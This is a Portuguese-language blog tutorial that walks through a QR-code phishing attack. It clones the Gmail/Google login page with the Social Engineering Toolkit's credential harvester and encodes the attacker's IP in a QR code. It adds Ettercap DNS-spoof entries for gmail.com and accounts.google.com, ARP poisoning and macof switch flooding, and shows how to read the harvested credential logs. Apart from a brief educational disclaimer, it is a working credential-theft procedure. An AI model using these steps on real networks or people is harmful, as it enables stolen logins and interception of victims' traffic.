segunda-feira, 11 de janeiro de 2016

QR Code Attack Vector :: Spoofing, Poison e Phishing aplicados a leitura de QR Codes


O QR code é um código estruturado em uma imagem que pode ser lida por leitores específicos que revelam seu conteúdo ou executam funções de redirecionamento para páginas e etc. Esta ferramenta que foi criada especialmente para catalogo de peças e gerenciamento de estoque, hoje já é utilizada em vários posteres, cartões de visitas, banners, em manuais, flayers e etc, e por sua popularização, também é fácil de ser burlado para dar vantagens a atacantes e trolls afim de tirar algum proveito do pessoal uma vez que essa leitura e interpretação já se encontra em celulares, tablets e outros Gadgets pessoais. Neste texto irei abordar esse vetor de ataque mostrando possíveis formas de se explorar, seja por phishing enviando a requisição para um server específico ou realizando o  DNS Spoof e ARP Poisoning com outras ferramentas.

Iremos realizar o ataque utilizando o setoolkit (Social Engineering Toolkit)  . Um framework para ataques de engenharia social muito poderoso que iremos utilizar para clonar sites e colocar o mesmo dentro uma tag NFC e dentro de um QR Code.

Primeiro vamos abrir o Seetoolkit e realizar um clone simples do GMAIL para nosso localhost
 # setoolkit   


Selecione na ordem:
 1) Social-Engineering Attacks  
 2) Website Attack Vectors  
 3) Credential Harvester Attack Method  
 2) Site Cloner  

Informe o IP da máquina atacante: ex: 192.168.1.56
Informe a URL a ser clonada ex: 'https://accounts.google.com



Se você seguiu todas as configurações que relizamos Neste Post, o site inteiro será clonado para o diretório /var/www/html/

Tente acessar o mesmo pelo localhost pelo browser
 http://localhost  




Criando o QR Code

Agora vamos colocar a URL do nosso servidor dentro do QR Code
Existem vários métodos de gerar QR Codes, inclusive ferramentas online. Você pode escolher o que você preferir, até mesmo temos uma função dessa dentro do setoolkit. Porém, decidi optar por uma alternativa mais simples para esse post, o qrencode.
 # sudo apt-get install qrencode  
 # qrencode 'http://192.168.1.56' -o qr_atack.png  

Caso você esteja em ambientes em que você não tenha acesso direto a rede, e não queria deixar tão na cara assim o ataque, você pode fazer uso de encurtadores de links como bit.ly para apontar para o IP do seu servidor Web fake. Porém podemos lapidar ainda mais essa tecnica com a função de ARP Poisoning do Ettercap caso estejamos na mesma rede do ataque para poisonar o DNS e a tabela ARP do roteador e da vítima, fazendo parecer com autenticidade que somos realmente o servidor escolhido.



Realizando o DNS Spoofing da página alvo

É possível também realizar o spoofing de DNS e ARP do site clonado utilizando uma técnica Man in the Middle com o Ettercap para 'enganar' o gateway e a vítima, fazendo os mesmos pensarem que você é o servidor requisitado, aparecendo até mesmo a url verdadeira do site durante o ataque.

Esse processo foi abordado com mais detalhes Neste Post, porém vou dar uma aplicada básica nele aqui, Caso se interesse em se aprofundar mais em explorar esse recurso, sinta-se a vontade. :)

Vamos editar o arquivo de configuração de DNS do Ettercap e e adicionar no final do arquivo as seguintes linhas, alterando somente o seu IP.
 # vim /etc/ettercap/etter.dns  
 #GMAIL SPOOFING  
 gmail.com A 192.168.1.56  
 https://accounts.google.com/ A 192.168.1.56  
 * *.gmail.com A 192.168.1.56  
 accounts.google.com/ A 192.168.1.56  
 mail.google.com A 192.168.1.56  
 ~                     



Configurando o Ettercap

Agora vamos abrir o Ettercap e parametrizar o mesmo para dar continuidade ao ataque:



Na aba Sniff selecione a opção "Unified Sniff"
Na aba Host, selecione a opção "Scan for hosts" ou dê um Ctrl + S para procurar os hosts em sua rede.
Novamente na aba "hosts" selecione a opção "Host List"

Selecione o IP do Gateway e o IP que deseja sniffar e clique em "Add to Target 2"

Nota:
Caso esteja realizando o ataque de uma rede com Switches, abra um terminal, e como root digite:
 # macof  

Em seguida clique em "Plugins" e logo após um duplo clique sobre a opção "dns_spoof"


Feito isso, vá até a aba Mitm e selecione "Arp Poisoning" clicando no checkbox "Sniff remote connections" e clique em Ok. Logo após vá na aba "Start" e selecione "Start Sniffing"


Testando o método:



Você pode capturar os posts do Setookit dentro do diretório do apache, com os logs de harvester. Eles estão organizador por data e hora, como você poderá ver conforme progredir com os testes.
 # cat /var/www/html/harvester_2016-01-07\ 23\:46\:29.762995.txt   

Lembrando que este artigo tem intuito educativo para profissionais e estudantes de Segurança da Informação. Não nos responsabilizamos pelo uso errado das técnicas aprendidas aqui.

Os próximos posts serão abordando essa exploração em Tags NFC e Beacons da Google para mostrar vetores mais recentes desse material.

:)

SOBRE O AUTOR

Matheus Fidelis

http://msfidelis.github.io/

Power Ranger, Piloto de Helicópteros e Astronauta da NASA. Desenvolvedor Web PHP com foco em Backend e POO, Linux SysAdmin DevOps e Entusiasta Python. Criou esse site pra contribuir com a comunidade com coisas que aprende dentro de um setor maluco de TI :)

Postar um comentário

 
Nanoshots | Open Source Security, Linux e Tutoriais © 2015 - Designed by Templateism.com